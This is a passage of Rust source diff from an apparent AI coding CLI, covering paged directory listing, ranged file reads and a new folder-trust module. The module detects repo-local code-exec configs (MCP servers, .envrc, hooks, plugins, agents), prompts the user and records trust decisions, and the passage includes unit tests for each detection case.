/// of reporting the (unreachable) over-cap remainder forever.
fn page_truncated(start: usize, end: usize, total: usize, hit_cap: bool) -> bool {
end < total || (hit_cap && start < total)
}
/// Walk `abs_dir`, sort directories-first / case-insensitive (with exact
/// name as a deterministic tiebreak), then return the stable slice
/// `[offset, offset + limit)`. See [`page_truncated`] for the `truncated`
/// semantics (incomplete listing OR more pages, but terminating).
pub fn list_directory_paged(abs_dir: &Path, opts: ListOptions<'_>, max_collect: usize) -> ListPage {
let (raw, hit_cap) = walk_fs_entries(
abs_dir,
FsWalk {
depth: opts.depth,
follow_symlinks: opts.follow_symlinks,
respect_git_ignore: opts.respect_git_ignore,
include_hidden: opts.include_hidden,
include_globs: opts.include_globs,
exclude_globs: opts.exclude_globs,
confine_to_canonical_root: opts.confine_to_canonical_root,
},
max_collect,
);
let mut entries: Vec<ListedEntry> = raw
.into_iter()
.map(|e| ListedEntry {
is_dir: e.metadata.is_dir(),
size: e.metadata.is_file().then_some(e.metadata.len()),
modified: e.metadata.modified().ok(),
is_symlink: e.is_symlink,
abs_path: e.path,
name: e.name,
})
.collect();
// Directories first, then case-insensitive by name; exact name as a
// tiebreak so page boundaries are deterministic.
entries.sort_by_cached_key(|n| (!n.is_dir, n.name.to_lowercase(), n.name.clone()));
let total = entries.len();
let start = usize::try_from(opts.offset)
.unwrap_or(usize::MAX)
.min(total);
let end = start.saturating_add(opts.limit).min(total);
let truncated = page_truncated(start, end, total, hit_cap);
entries.truncate(end);
let page = entries.split_off(start);
ListPage {
entries: page,
truncated,
}
}
// =========================================================================
// Ranged, binary-safe reads
// =========================================================================
/// A read chunk in the requested transfer encoding.
pub enum ChunkPayload {
/// Valid UTF-8 text (caller places it in a `content` field).
Text(String),
/// Base64 of the raw bytes (caller places it in a `contentBase64`
/// field). Used when `base64` is requested or the bytes are not UTF-8.
Base64(String),
}
/// Encode `bytes` per `encoding`, returning the payload and whether the
/// bytes were valid UTF-8 (`is_text`). One UTF-8 validation pass; on the
/// `Utf8` request the error hands the bytes back for base64 fallback.
pub fn encode_chunk(bytes: Vec<u8>, encoding: FsReadEncoding) -> (ChunkPayload, bool) {
let b64 = |b: &[u8]| base64::engine::general_purpose::STANDARD.encode(b);
match (encoding, String::from_utf8(bytes)) {
(FsReadEncoding::Utf8, Ok(text)) => (ChunkPayload::Text(text), true),
(FsReadEncoding::Utf8, Err(e)) => (ChunkPayload::Base64(b64(e.as_bytes())), false),
(FsReadEncoding::Base64, Ok(text)) => (ChunkPayload::Base64(b64(text.as_bytes())), true),
(FsReadEncoding::Base64, Err(e)) => (ChunkPayload::Base64(b64(e.as_bytes())), false),
}
}
/// Read only `[offset, offset + length)` of `abs` (no hashing).
pub async fn read_range(abs: &Path, offset: u64, length: u64) -> std::io::Result<Vec<u8>> {
use tokio::io::{AsyncReadExt, AsyncSeekExt};
let mut f = tokio::fs::File::open(abs).await?;
if offset > 0 {
f.seek(std::io::SeekFrom::Start(offset)).await?;
}
let mut chunk = Vec::new();
f.take(length).read_to_end(&mut chunk).await?;
Ok(chunk)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn clamp_read_length_caps_at_max_bytes_and_hard_limit() {
// Absent length -> capped at max_bytes.
assert_eq!(clamp_read_length(None, 1024), 1024);
// Explicit length above max_bytes -> max_bytes wins.
assert_eq!(clamp_read_length(Some(8192), 1024), 1024);
// Explicit length below max_bytes -> length wins.
assert_eq!(clamp_read_length(Some(512), 1024), 512);
// max_bytes above the hard server limit -> hard limit wins.
assert_eq!(clamp_read_length(None, u64::MAX), MAX_READ_BYTES);
assert_eq!(clamp_read_length(Some(u64::MAX), u64::MAX), MAX_READ_BYTES);
}
#[test]
fn page_truncated_signals_more_pages_within_collected_set() {
// 100 collected, no cap, page [0,10) -> more remain.
assert!(page_truncated(0, 10, 100, false));
// Last page [90,100) -> nothing remains.
assert!(!page_truncated(90, 100, 100, false));
}
#[test]
fn page_truncated_terminates_when_paging_past_collection_cap() {
// Cap hit, total clamped to 50 collected, limit 10.
// Populated pages stay truncated (listing is incomplete)...
assert!(page_truncated(0, 10, 50, true));
assert!(page_truncated(40, 50, 50, true));
// ...but once the client pages past the collected window the flag
// drops, so `while truncated { offset += limit }` terminates instead
// of fetching empty pages forever.
assert!(!page_truncated(50, 50, 50, true));
assert!(!page_truncated(60, 50, 50, true));
}
}
@@ -0,0 +1,975 @@
//! Folder-trust DECISION side ("do you trust this folder?").
//!
//! This is the client/workspace half of the folder-trust gate: it scans a
//! workspace for repo-local code-exec configs, resolves the pure trust
//! [`decide`] precedence, prompts (MVP stderr), and reads/writes the durable
//! [`crate::trust::TrustStore`] (`~/.kigi/trusted_folders.toml`). The
//! consume/gating half (the `DECISIONS` cache, `resolve_and_record`,
//! `project_scope_allowed`, the loader filters) lives in `kigi-shell`.
//!
//! ## Precedence (canonical — see [`decide`])
//! 1. Feature flag OFF → trusted (no gating; preserves prior behavior).
//! 2. Store (self/ancestor recorded trusted) → trusted. An explicit `--trust`
//! grant is persisted to the store up front (see [`grant_folder_trust`]), so
//! it is honored here.
//! 3. Key unrecordable (an over-broad root — the user's own `$HOME` / filesystem
//! root / non-absolute — that the store refuses to persist) → trusted: it
//! can't be durably gated, so gating would re-prompt forever on a key that can
//! never persist. See [`crate::trust::is_unsafe_trust_root`].
//! 4. No repo-local code-exec configs present → trusted (nothing to gate).
//! 5. Interactive TTY → prompt the user (y/N).
//! 6. Otherwise (headless) → untrusted.
//!
//! (How the consume side caches this verdict — e.g. that the rule-4 allow is
//! provisional and re-checked rather than cached — is a `kigi-shell`
//! concern, documented there.)
use std::io::IsTerminal;
use std::path::Path;
use kigi_config_types::{BoolFlag, RemoteSettings};
use toml::Value as TomlValue;
use crate::trust::{TrustStore, workspace_key};
/// The pure trust outcome for a set of inputs.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum TrustOutcome {
/// Repo-local servers allowed.
Trusted,
/// Repo-local servers blocked.
Untrusted,
/// Interactive: ask the user.
Prompt,
}
/// Inputs to the pure [`decide`] precedence function.
#[derive(Debug, Clone, Copy)]
pub struct DecideInputs {
pub store_trusted: bool,
pub repo_configs_present: bool,
pub is_interactive: bool,
/// False when the workspace key is an over-broad root the store refuses to
/// record — home / filesystem root / non-absolute; see
/// [`crate::trust::is_unsafe_trust_root`].
pub key_recordable: bool,
}
/// Pure trust-decision precedence. No I/O; unit-tested directly.
///
/// See the module docs for the ordered precedence.
pub fn decide(feature_enabled: bool, i: &DecideInputs) -> TrustOutcome {
if !feature_enabled {
return TrustOutcome::Trusted;
}
if i.store_trusted {
return TrustOutcome::Trusted;
}
// An over-broad root the store can't record (the user's own $HOME / fs-root,
// never a fetched repo) can't be durably gated — trust it instead of
// prompting on a key that can never persist (mirrors the feature-off default).
if !i.key_recordable {
return TrustOutcome::Trusted;
}
if !i.repo_configs_present {
return TrustOutcome::Trusted;
}
if i.is_interactive {
return TrustOutcome::Prompt;
}
TrustOutcome::Untrusted
}
/// Gather the [`DecideInputs`] for `cwd` (store trust + repo configs +
/// interactivity), keyed by `key`. Single-sourced gather behind the shell's
/// `compute` and launch-dir resolve so the store read and repo-config scan
/// cannot drift across callers.
pub fn decide_inputs(cwd: &Path, key: &Path) -> DecideInputs {
decide_inputs_with_interactive(cwd, key, is_interactive())
}
/// Like [`decide_inputs`] but with caller-supplied interactivity, so the gather
/// (store trust + repo-config scan) stays single-sourced across callers that
/// determine interactivity differently. The pager TUI passes
/// `stdin().is_terminal()` ONLY: it redirects native stderr before resolving
/// trust, so the default [`is_interactive`] (`stdin && stderr`) would be false
/// and the question could never show.
pub fn decide_inputs_with_interactive(
cwd: &Path,
key: &Path,
is_interactive: bool,
) -> DecideInputs {
DecideInputs {
store_trusted: TrustStore::load().is_trusted(key),
// Deliberate second discover: the caller's `key` came from `workspace_key`
// (its own git2 discover), and `repo_configs_present` → `RepoDirChain::resolve`
// discovers the same repo again. Collapsing the two would mean threading the
// resolved root into key derivation (rippling `workspace_key` repo-wide) — out
// of scope; NOT the redundant discovers this change already removed.
repo_configs_present: repo_configs_present(cwd),
is_interactive,
// An over-broad key (home / fs-root / non-absolute) can never be recorded
// by the store, so decide() trusts it rather than prompt on a key that
// can't persist (Case 2: cwd IS $HOME, incl. the default `~/.kigi`).
key_recordable: !crate::trust::is_unsafe_trust_root(key),
}
}
/// Whether the whole folder-trust system is inert (auto-trusts everything) for
/// this binary — true on a local/dev build (no `KIGI_VERSION` release stamp).
///
/// THE single security short-circuit: every explicit trust auto-grant site calls
/// this (greppable via `folder_trust_inert`). When true a self-built grok never
/// prompts, never gates repo-local `.envrc`/`.claude`/hooks/plugins/MCP/LSP, and
/// does NO `trusted_folders.toml` I/O. Release-stamped builds are unaffected.
pub fn folder_trust_inert() -> bool {
is_local_build()
}
/// Whether this binary was built without a release version stamp
/// (`KIGI_VERSION` unset at compile time) — i.e. a local/dev build.
///
/// Kept local (not in `kigi-version`) on purpose: adding a symbol to that
/// near-universal crate widens the rebuild/test fan-out for unrelated targets.
/// `option_env!` resolves the same in any crate, so the
/// location is behavior-neutral. Cross-crate callers use [`folder_trust_inert`].
fn is_local_build() -> bool {
// Runtime escape hatch: a pinned KIGI_TEST_VERSION simulates a release build,
// so tests/CI (which run unstamped, i.e. local-looking) can exercise the gate.
if std::env::var(kigi_version::TEST_VERSION_ENV).is_ok() {
return false;
}
option_env!("KIGI_VERSION").is_none()
}
/// Resolve whether the folder-trust gate is enabled.
///
/// On a local/dev build (no `KIGI_VERSION` release stamp) the feature is OFF
/// regardless of env/config/remote — a self-built grok auto-trusts (never
/// prompts, never gates repo-local MCP/LSP). Folder-trust applies only to
/// shipped, release-stamped binaries.
///
/// On a release-stamped build, normal precedence (via `BoolFlag`):
/// env `KIGI_FOLDER_TRUST` > `[folder_trust] enabled` (user) > managed >
/// remote `folder_trust_enabled` > default **true** (on by default; the remote
/// `folder_trust_enabled` kill-switch or a `[folder_trust] enabled = false`
/// opt-out turns it back off).
pub fn feature_enabled(remote: Option<&RemoteSettings>) -> bool {
feature_enabled_for_build(remote, is_local_build())
}
/// `feature_enabled` with the local-build flag fed in so both arms are unit-testable.
fn feature_enabled_for_build(remote: Option<&RemoteSettings>, is_local_build: bool) -> bool {
// Local/dev builds never gate (auto-trust): folder-trust applies only to
// shipped, release-stamped binaries. Even an explicit KIGI_FOLDER_TRUST/config
// opt-in is ignored here so a self-built grok never prompts.
if is_local_build {
return false;
}
fn from_toml(v: Option<&TomlValue>) -> Option<bool> {
v?.get("folder_trust")?.get("enabled")?.as_bool()
}
let user = kigi_config::load_from_disk().ok();
let managed = kigi_config::load_managed_config().ok();
BoolFlag::env("KIGI_FOLDER_TRUST")
.config(from_toml(user.as_ref()))
.managed(from_toml(managed.as_ref()))
.feature_flag(remote.and_then(|r| r.folder_trust_enabled))
.default(true)
.resolve()
.value
}
/// Persist an explicit `--trust` grant for `cwd`'s workspace so repo-local
/// servers are honored on the next resolve. Done client-side because trust is
/// durable: even when the agent runs in a separate leader process it reads the
/// same `~/.kigi/trusted_folders.toml`. Best-effort; a write failure is logged,
/// not fatal.
pub fn grant_folder_trust(cwd: &Path) {
// Local/dev builds never gate, so there is nothing to grant: `--trust` is a
// no-op and the store is left untouched (the whole feature is inert).
if folder_trust_inert() {
return;
}
persist_trust(&mut TrustStore::load(), &workspace_key(cwd));
}
/// Store-only half of revoking trust for `cwd`'s workspace: persist an explicit
/// `set_untrusted` ONLY when the folder was actually trusted, and report whether
/// it had been trusted. The in-process `DECISIONS` cache downgrade is the shell
/// wrapper's job (the cache lives there).
///
/// Writing a store deny for a never-trusted folder would record a most-specific
/// child DENY that poisons a future ancestor `set_trusted` cascade — so that
/// write stays gated. Symmetric with [`grant_folder_trust`].
pub fn revoke_folder_trust_store(cwd: &Path) -> bool {
// Local/dev builds never wrote the store, so there is nothing to revoke.
if folder_trust_inert() {
return false;
}
let key = workspace_key(cwd);
let mut store = TrustStore::load();
let was_trusted = store.is_trusted(&key);
// Persist an explicit deny ONLY for an actually-trusted folder: writing one
// for a never-trusted folder would record a most-specific child DENY that
// overrides a future ancestor `set_trusted` grant (cascade poisoning).
if was_trusted && let Err(e) = store.set_untrusted(&key) {
tracing::warn!(
path = %key.display(),
error = %e,
"folder trust: failed to persist untrust decision"
);
}
was_trusted
}
pub fn persist_trust(store: &mut TrustStore, key: &Path) {
if let Err(e) = store.set_trusted(key) {
tracing::warn!(
path = %key.display(),
error = %e,
"folder trust: failed to persist trust decision"
);
}
}
/// Whether any repo-local code-exec config is present for `cwd`. When none are
/// present there is nothing to gate, so we skip the prompt entirely.
///
/// Thin wrapper over [`collect_repo_config_kinds`] with `first_only = true`, so
/// the gate and the display-only [`repo_config_kinds`] enumerate the EXACT same
/// markers (they cannot drift) while this hot path still short-circuits on the
/// first hit.
pub fn repo_configs_present(cwd: &Path) -> bool {
!collect_repo_config_kinds(cwd, true).is_empty()
}
/// Display-only: which repo-local code-exec config KINDS are present for `cwd`
/// (`mcp`, `plugins`, `lsp`, `envrc`, `claude`, `hooks`, `agents`), deduped in
/// cheap→expensive marker order. Single source with [`repo_configs_present`]
/// (which is `!repo_config_kinds(cwd).is_empty()`), so a folder that the gate
/// fired on always has a non-empty, accurate kind list — no `[plugins].paths` /
/// `.claude` / `.kigi/agents` / subdir-launch gaps. NOT itself the trust gate.
pub fn repo_config_kinds(cwd: &Path) -> Vec<&'static str> {
collect_repo_config_kinds(cwd, false)
}
/// Shared scanner behind [`repo_configs_present`] and [`repo_config_kinds`]. With
/// `first_only` it returns immediately after the first marker (the gate's
/// historical short-circuit); otherwise it collects every distinct kind.
fn collect_repo_config_kinds(cwd: &Path, first_only: bool) -> Vec<&'static str> {
// Resolve the git root + cwd→root dir chain ONCE and reuse it across the
// git2-based marker checks below: this gate does 1 git2 discover + 1 git2
// walk (+ the settings-compat path's own cheap `.git`-existence walk, intentionally separate —
// see its check). Each walker used to run its own git2 discover + walk (~5
// discovers), and on a non-git dir each discover walks to the filesystem root
// — wasteful anywhere, and Windows taxes every such syscall 10-100x.
// Cheap→expensive, short-circuiting on first hit when `first_only`.
let chain = kigi_agent::repo::RepoDirChain::resolve(cwd);
let mut kinds: Vec<&'static str> = Vec::new();
// Record a distinct kind; when `first_only`, return as soon as one is found
// (preserves the gate's first-hit short-circuit exactly).
macro_rules! hit {
($k:expr) => {{
let k: &'static str = $k;
if !kinds.contains(&k) {
kinds.push(k);
}
if first_only {
return kinds;
}
}};
}
// `.mcp.json` anywhere from repo root down to cwd.
if !crate::project_config::find_mcp_json_files_in(&chain.dirs).is_empty() {
hit!("mcp");
}
// Project `.kigi/config.toml` declaring repo-controlled code-exec: a
// non-empty `[mcp_servers]` table OR a non-empty `[plugins].paths` array.
// `[plugins].paths` loads as auto-trusted ConfigPath plugins, so a clone
// whose ONLY repo-local config is `[plugins].paths` must still be gated
// (else it resolves Trusted and the paths merge runs ungated => RCE).
for path in crate::project_config::find_project_configs_in(&chain.dirs) {
let Ok(root) = kigi_config::load_config_file(&path) else {
continue;
};
let has_mcp_servers = root
.get("mcp_servers")
.and_then(|v| v.as_table())
.is_some_and(|t| !t.is_empty());
let has_plugin_paths = root
.get("plugins")
.and_then(|v| v.get("paths"))
.and_then(|v| v.as_array())
.is_some_and(|a| !a.is_empty());
if has_mcp_servers {
hit!("mcp");
}
if has_plugin_paths {
hit!("plugins");
}
}
// Project `.kigi/lsp.json`.
if cwd.join(".kigi").join("lsp.json").is_file() {
hit!("lsp");
}
// Project `.cursor/mcp.json` — vendor MCP loading is default-on and tagged
// `Project`, so a repo shipping ONLY this file must still be gated. (File
// presence is enough; if the `.cursor` compat flag is off the servers won't
// spawn and gating is a harmless no-op.)
if cwd.join(".cursor").join("mcp.json").is_file() {
hit!("mcp");
}
// Project `.envrc` — auto-sourced in a bash subshell when `direnv` isn't
// installed (direct code-exec), so an `.envrc`-only clone must still be
// gated. The loader reads `<cwd>/.envrc` directly (NOT a git-root walk), so
// probe at cwd to match exactly what gets executed.
if cwd.join(".envrc").is_file() {
hit!("envrc");
}
// Project `.claude/settings.json` / `settings.local.json`: the hooks surface
// reads these at the git root, but the ENV/permission loaders walk EVERY dir
// cwd→repo-root (`collect_project_claude_paths`), so detect along the SAME
// walk via the shared reader — else a `.claude` `env` in a SUBDIR (injected
// into every spawned subprocess) loads ungated. Subsumes the git-root probe.
// Keeps its own `.git`-existence walk (NOT the git2 chain) so detection stays
// identical to the loader, which bounds on a bare/empty `.git` too.
if crate::permission::claude_settings::project_claude_settings_present(cwd) {
hit!("claude");
}
// Other project HOOK sources are resolved from the git worktree root only
// (the chain's `git_root`, the same root hook discovery resolves from via
// `workspace_key`), NOT cwd, so root-level hooks are gated even when launched
// from a subdir. A repo-local hook file/dir is repo-controlled code-exec that
// must be gated — else a hooks-only clone (e.g. `.kigi/hooks/evil.json`) would
// resolve trusted and run ungated. Presence mirrors discovery's "something to
// gate" check.
let hook_root = chain.git_root.as_deref().unwrap_or(cwd);
if hook_root.join(".kigi").join("hooks").is_dir()
|| hook_root.join(".cursor").join("hooks.json").is_file()
{
hit!("hooks");
}
// Project PLUGIN dirs: project-scoped plugins are unified under folder-trust
// too, so a repo-local plugin dir is repo-controlled code-exec (hooks/MCP)
// that must be gated — else a plugin clone (e.g. `.kigi/plugins/evil/`, even
// one in a subdir launched via `cd sub && grok`) would resolve trusted and
// run ungated. Uses the shared SSOT walk (cwd→git root) so detection matches
// exactly what `discover_plugins` scans for Project scope (errs secure).
if !kigi_agent::plugins::project_plugin_dirs_in(&chain.dirs).is_empty() {
hit!("plugins");
}
// Project AGENT dirs (`.kigi/agents` / `.claude/agents`): a project agent
// definition can carry an inline `hooks:` block (repo-controlled code-exec)
// AND can SHADOW a built-in subagent by name, so an agents-only clone must
// still be gated. Uses the shared SSOT walk (cwd→git root) so detection
// can't drift from agent discovery — same pattern as the plugin line above.
if !kigi_agent::discovery::project_agent_dirs_in(&chain.dirs).is_empty() {
hit!("agents");
}
// `~/.claude.json` `projects.<cwd>.mcpServers`.
if claude_project_mcp_present(cwd) {
hit!("mcp");
}
kinds
}
/// Display names under `~/.claude.json projects.<cwd>.mcpServers`, or `None`
/// when the file/entry is absent or the object is empty. Single reader that both
/// [`claude_project_mcp_present`] (existence) and the shell's
/// `project_scoped_mcp_names` (the names) derive from, so the two never drift.
pub fn claude_project_mcp_names(cwd: &Path) -> Option<Vec<String>> {
let home = dirs::home_dir()?;
let content = std::fs::read_to_string(home.join(".claude.json")).ok()?;
let value = serde_json::from_str::<serde_json::Value>(&content).ok()?;
let cwd_key = cwd.to_string_lossy();
let names: Vec<String> = value
.get("projects")
.and_then(|p| p.get(cwd_key.as_ref()))
.and_then(|proj| proj.get("mcpServers"))
.and_then(|m| m.as_object())
.map(|m| m.keys().cloned().collect())
.unwrap_or_default();
(!names.is_empty()).then_some(names)
}
fn claude_project_mcp_present(cwd: &Path) -> bool {
claude_project_mcp_names(cwd).is_some()
}
fn is_interactive() -> bool {
std::io::stdin().is_terminal() && std::io::stderr().is_terminal()
}
/// MVP trust prompt: a plain stderr warning + stdin y/N read.
///
/// Defaults to NO on empty input, EOF, or any non-yes answer. Deliberately
/// minimal (no ACP modal); a richer modal is a future follow-up.
pub fn prompt_for_trust(key: &Path) -> bool {
use std::io::{BufRead, Write};
let mut err = std::io::stderr();
let _ = writeln!(err);
let _ = writeln!(
err,
"This folder contains repo-local config (.mcp.json / .kigi/lsp.json / hooks) \
that can run commands on your machine."
);
let _ = writeln!(err, " Folder: {}", key.display());
let _ = write!(
err,
"Trust the authors of this folder and allow these servers to start? [y/N] "
);
let _ = err.flush();
let mut line = String::new();
match std::io::stdin().lock().read_line(&mut line) {
Ok(0) | Err(_) => false,
Ok(_) => matches!(line.trim().to_ascii_lowercase().as_str(), "y" | "yes"),
}
}
#[cfg(test)]
mod tests {
use super::*;
fn inputs() -> DecideInputs {
DecideInputs {
store_trusted: false,
repo_configs_present: true,
is_interactive: false,
// Default: a normal (recordable) key, so the Case-2 rule doesn't fire
// and every `..inputs()` spread exercises the pre-existing precedence.
key_recordable: true,
}
}
#[test]
fn feature_off_is_always_trusted() {
// Even with everything pointing to untrusted, feature off => trusted.
assert_eq!(decide(false, &inputs()), TrustOutcome::Trusted);
}
#[test]
fn store_trusted_is_trusted() {
let i = DecideInputs {
store_trusted: true,
..inputs()
};
assert_eq!(decide(true, &i), TrustOutcome::Trusted);
}
#[test]
fn no_repo_configs_is_trusted_without_prompt() {
let i = DecideInputs {
repo_configs_present: false,
is_interactive: true,
..inputs()
};
// Nothing to gate => trusted, and crucially NOT Prompt.
assert_eq!(decide(true, &i), TrustOutcome::Trusted);
}
#[test]
fn interactive_with_configs_prompts() {
let i = DecideInputs {
is_interactive: true,
..inputs()
};
assert_eq!(decide(true, &i), TrustOutcome::Prompt);
}
#[test]
fn headless_with_configs_is_untrusted() {
assert_eq!(decide(true, &inputs()), TrustOutcome::Untrusted);
}
#[test]
fn unrecordable_key_is_trusted_even_with_configs_and_interactive() {
// Case 2: cwd == $HOME (or fs-root / non-absolute). The store can't record
// such a key, so gating would re-prompt forever — decide() trusts it,
// ahead of the repo-configs and interactive rules.
let i = DecideInputs {
store_trusted: false,
repo_configs_present: true,
is_interactive: true,
key_recordable: false,
};
assert_eq!(decide(true, &i), TrustOutcome::Trusted);
}
/// A `git init`'d temp dir so `find_mcp_json_files` / `find_project_configs`
/// (which discover the enclosing repo and walk to its root) are bounded to
/// the temp dir instead of any ancestor repo the system temp dir lives in.
fn repo_tmp() -> tempfile::TempDir {
let tmp = tempfile::tempdir().unwrap();
git2::Repository::init(tmp.path()).unwrap();
tmp
}
#[test]
fn repo_configs_present_false_when_empty() {
let tmp = repo_tmp();
assert!(!repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_mcp_json() {
let tmp = repo_tmp();
std::fs::write(tmp.path().join(".mcp.json"), "{}").unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_grok_config_mcp_servers() {
let tmp = repo_tmp();
let grok = tmp.path().join(".kigi");
std::fs::create_dir_all(&grok).unwrap();
std::fs::write(grok.join("config.toml"), "[mcp_servers.x]\ncommand=\"y\"\n").unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_grok_lsp_json() {
let tmp = repo_tmp();
let grok = tmp.path().join(".kigi");
std::fs::create_dir_all(&grok).unwrap();
std::fs::write(grok.join("lsp.json"), "{}").unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_cursor_mcp_json() {
let tmp = repo_tmp();
let cursor = tmp.path().join(".cursor");
std::fs::create_dir_all(&cursor).unwrap();
std::fs::write(cursor.join("mcp.json"), "{}").unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_envrc() {
// An `.envrc`-only clone is auto-sourced in a bash subshell (direct RCE),
// so it must resolve untrusted even though it has no MCP/LSP/hook configs.
let tmp = repo_tmp();
std::fs::write(tmp.path().join(".envrc"), "export FOO=bar\n").unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_project_agents() {
// A `.kigi/agents`-only clone must be gated: a project agent definition
// can carry an inline `hooks:` block (code-exec) and can shadow a built-in
// subagent by name.
let tmp = repo_tmp();
std::fs::create_dir_all(tmp.path().join(".kigi").join("agents")).unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_claude_agents() {
// `.claude/agents` is the vendor-compat project agent dir; same gate.
let tmp = repo_tmp();
std::fs::create_dir_all(tmp.path().join(".claude").join("agents")).unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_project_agents_from_subdir() {
// Agents live at the git root but the session is launched from a subdir;
// detection walks cwd→git root exactly like agent discovery, so it must
// still fire (a cwd-only probe would miss it).
let tmp = repo_tmp();
std::fs::create_dir_all(tmp.path().join(".kigi").join("agents")).unwrap();
let subdir = tmp.path().join("crates").join("inner");
std::fs::create_dir_all(&subdir).unwrap();
assert!(repo_configs_present(&subdir));
}
#[test]
fn repo_configs_present_detects_claude_settings_from_subdir() {
// A `.claude/settings.json` `env` in a SUBDIR (no other repo config),
// launched from that subdir, must be detected: the env loader walks
// cwd→repo-root, so detection walks the same path (a git-root-only probe
// would miss it and leave the env injectable ungated).
let tmp = repo_tmp();
let subdir = tmp.path().join("crates").join("inner");
let claude = subdir.join(".claude");
std::fs::create_dir_all(&claude).unwrap();
std::fs::write(claude.join("settings.json"), r#"{"env":{"X":"1"}}"#).unwrap();
assert!(repo_configs_present(&subdir));
}
#[test]
fn repo_configs_present_detects_project_hooks() {
// A hooks-only repo (no MCP/LSP configs) must still be gated, so its
// project hooks don't run ungated when the folder is untrusted.
let tmp = repo_tmp();
std::fs::create_dir_all(tmp.path().join(".kigi").join("hooks")).unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_project_hooks_from_subdir() {
// Hooks live at the git root but the session is launched from a subdir;
// the gate must still fire because discovery resolves hooks from the root
// (the cwd-relative check this regresses would miss it).
let tmp = repo_tmp();
std::fs::create_dir_all(tmp.path().join(".kigi").join("hooks")).unwrap();
let subdir = tmp.path().join("crates").join("inner");
std::fs::create_dir_all(&subdir).unwrap();
assert!(repo_configs_present(&subdir));
}
#[test]
fn repo_configs_present_detects_project_plugins() {
// A plugin-only repo (no MCP/LSP/hooks configs) must still be gated, so a
// project plugin's hooks/MCP don't run ungated when the folder is untrusted.
let tmp = repo_tmp();
std::fs::create_dir_all(tmp.path().join(".kigi").join("plugins").join("x")).unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_project_plugins_in_subdir() {
// A plugin under a subdir (root otherwise clean), launched from that
// subdir, must still be gated: detection walks cwd→git root exactly like
// discover_plugins, so a subdir-only plugin is not a fail-open hole.
let tmp = repo_tmp();
let subdir = tmp.path().join("packages").join("foo");
std::fs::create_dir_all(subdir.join(".kigi").join("plugins").join("evil")).unwrap();
assert!(repo_configs_present(&subdir));
}
#[test]
fn repo_configs_present_false_for_empty_mcp_servers_table() {
// A project config whose `[mcp_servers]` table is empty has nothing to
// gate, so it must not trip the gate.
let tmp = repo_tmp();
let grok = tmp.path().join(".kigi");
std::fs::create_dir_all(&grok).unwrap();
std::fs::write(grok.join("config.toml"), "[mcp_servers]\n").unwrap();
assert!(!repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_detects_grok_config_plugins_paths() {
// A repo whose ONLY repo-local config is `[plugins].paths` (no plugin
// dir, no MCP/LSP/hooks) must still be gated: those paths load as
// auto-trusted ConfigPath plugins, so an ungated clone is a live RCE.
let tmp = repo_tmp();
let grok = tmp.path().join(".kigi");
std::fs::create_dir_all(&grok).unwrap();
std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
assert!(repo_configs_present(tmp.path()));
}
#[test]
fn repo_configs_present_false_for_empty_plugins_paths() {
// An empty `[plugins].paths` (or a `[plugins]` table without `paths`)
// contributes no plugin code-exec, so it must not trip the gate.
let tmp = repo_tmp();
let grok = tmp.path().join(".kigi");
std::fs::create_dir_all(&grok).unwrap();
std::fs::write(grok.join("config.toml"), "[plugins]\npaths = []\n").unwrap();
assert!(!repo_configs_present(tmp.path()));
}
#[test]
fn repo_config_kinds_matches_gate_and_reports_all_kinds() {
// SSOT guard: `repo_config_kinds` (full scan) must agree with the gate
// (`repo_configs_present == !repo_config_kinds(..).is_empty()`) AND report
// the kinds the single-source refactor added — `plugins` via
// `[plugins].paths`, `claude` via `.claude/settings.json`, `agents` via
// `.kigi/agents` — even when launched from a SUBDIR (the cwd→git-root walk
// that `first_only` shares). Guards against silent drift between the two.
let tmp = repo_tmp();
let grok = tmp.path().join(".kigi");
std::fs::create_dir_all(grok.join("agents")).unwrap();
std::fs::write(grok.join("config.toml"), "[plugins]\npaths = [\"./x\"]\n").unwrap();
let claude = tmp.path().join(".claude");
std::fs::create_dir_all(&claude).unwrap();
std::fs::write(claude.join("settings.json"), r#"{"env":{"X":"1"}}"#).unwrap();
// Launch from a subdir: the walk must still find the root-level markers.
let subdir = tmp.path().join("crates").join("inner");
std::fs::create_dir_all(&subdir).unwrap();
let kinds = repo_config_kinds(&subdir);
for expected in ["plugins", "claude", "agents"] {
assert!(
kinds.contains(&expected),
"repo_config_kinds missing {expected:?} (subdir launch); got {kinds:?}"
);
}
// Gate ↔ kinds equivalence: a configured repo and an empty one.
assert_eq!(
repo_configs_present(&subdir),
!repo_config_kinds(&subdir).is_empty(),
"gate must equal !kinds.is_empty() for a configured repo"
);
let empty = repo_tmp();
assert!(!repo_configs_present(empty.path()));
assert!(repo_config_kinds(empty.path()).is_empty());
assert_eq!(
repo_configs_present(empty.path()),
!repo_config_kinds(empty.path()).is_empty(),
"gate must equal !kinds.is_empty() for an empty repo"
);
}
// KIGI_SHARE_DIR-isolation idiom mirrored from this crate's `permission::claude_compat`
// tests (the workspace crate has no `serial_test`/`kigi-test-support`
// dev-dep): nextest runs each test in its own process; `ENV_LOCK` serializes
// the rare in-process `cargo test` thread, and `EnvVarGuard` restores the prior
// value on drop so a panic can't leak state. The lock is crate-shared so it
// also serializes against the other env-mutating test modules (e.g. `trust`,
// `worktree`) under single-process `cargo test --lib`.
use crate::ENV_TEST_LOCK as ENV_LOCK;
// The crate-shared generic env-var guard (one definition in `lib.rs`),
// aliased here so the existing `EnvVarGuard::set/unset` call sites are unchanged.
use crate::TestEnvGuard as EnvVarGuard;
/// Simulate a release-stamped build so store I/O runs (a local/dev build makes
/// grant/revoke no-ops). Hold the returned guard for the test body.
fn simulate_release_build() -> EnvVarGuard {
